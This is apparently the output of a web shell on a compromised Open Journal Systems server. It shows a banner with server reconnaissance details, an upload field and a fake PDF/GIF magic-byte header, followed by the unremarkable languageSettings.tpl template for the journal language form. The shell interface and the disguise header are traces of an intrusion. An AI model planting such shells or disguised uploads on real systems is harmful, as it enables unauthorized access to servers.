%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/JberJournal/templates/manager/ |
Upload File : |
{**
* templates/manager/languageSettings.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Form to edit journal language settings.
*
*}
{strip}
{assign var="pageTitle" value="common.languages"}
{include file="common/header.tpl"}
{/strip}
<p><span class="instruct">{translate key="manager.languages.languageInstructions"}</span></p>
{include file="common/formErrors.tpl"}
{if count($availableLocales) > 1}
<form method="post" action="{url op="saveLanguageSettings"}">
<table class="data" width="100%">
<tr valign="top">
<td width="20%" rowspan="2" class="label">{fieldLabel name="primaryLocale" required="true" key="locale.primary"}</td>
<td width="80%" colspan="3" class="value">
<select id="primaryLocale" name="primaryLocale" size="1" class="selectMenu">
{html_options options=$availableLocales selected=$primaryLocale}
</select>
</td>
</tr>
<tr valign="top">
<td colspan="3" class="value"><span class="instruct">{translate key="manager.languages.primaryLocaleInstructions"}</span></td>
</tr>
<tr valign="top">
<td class="label" rowspan="2">{fieldLabel suppressId="true" name="supportedLocales" key="locale.supported"}</td>
<td colspan="3" class="value">
<table class="data" width="100%">
<tr valign="top">
<td width="20%"> </td>
<td align="center" width="10%">{translate key="manager.language.ui"}</td>
<td align="center" width="20%">{translate key="manager.language.submissions"}</td>
<td align="center" width="10%">{translate key="manager.language.forms"}</td>
<td> </td>
</tr>
{foreach from=$availableLocales key=localeKey item=localeName}
<tr>
<td>{$localeName|escape}</td>
<td align="center"><input type="checkbox" name="supportedLocales[]" value="{$localeKey|escape}"{if in_array($localeKey, $supportedLocales)} checked="checked"{/if}/></td>
<td align="center"><input type="checkbox" name="supportedSubmissionLocales[]" value="{$localeKey|escape}"{if in_array($localeKey, $supportedSubmissionLocales)} checked="checked"{/if}/></td>
<td align="center"><input type="checkbox" name="supportedFormLocales[]" value="{$localeKey|escape}"{if in_array($localeKey, $supportedFormLocales)} checked="checked"{/if}/></td>
<td><a href="{url op="reloadLocalizedDefaultSettings" localeToLoad=$localeKey}" onclick="return confirm('{translate|escape:"jsparam" key="manager.language.confirmDefaultSettingsOverwrite"}')" class="action">{translate key="manager.language.reloadLocalizedDefaultSettings"}</a></td>
</tr>
{/foreach}
</table>
</td>
</tr>
<tr valign="top">
<td colspan="3" class="value"><span class="instruct">{translate key="manager.languages.supportedLocalesInstructions"}</span></td>
</tr>
</table>
<p><input type="submit" value="{translate key="common.save"}" class="button defaultButton" /> <input type="button" value="{translate key="common.cancel"}" class="button" onclick="document.location.href='{url page="manager"}'" /></p>
<p><span class="formRequired">{translate key="common.requiredField"}</span></p>
</form>
{else}
<div class="separator"></div>
<p><span class="instruct">{translate key="manager.languages.noneAvailable"}</span></p>
{/if}
{include file="common/footer.tpl"}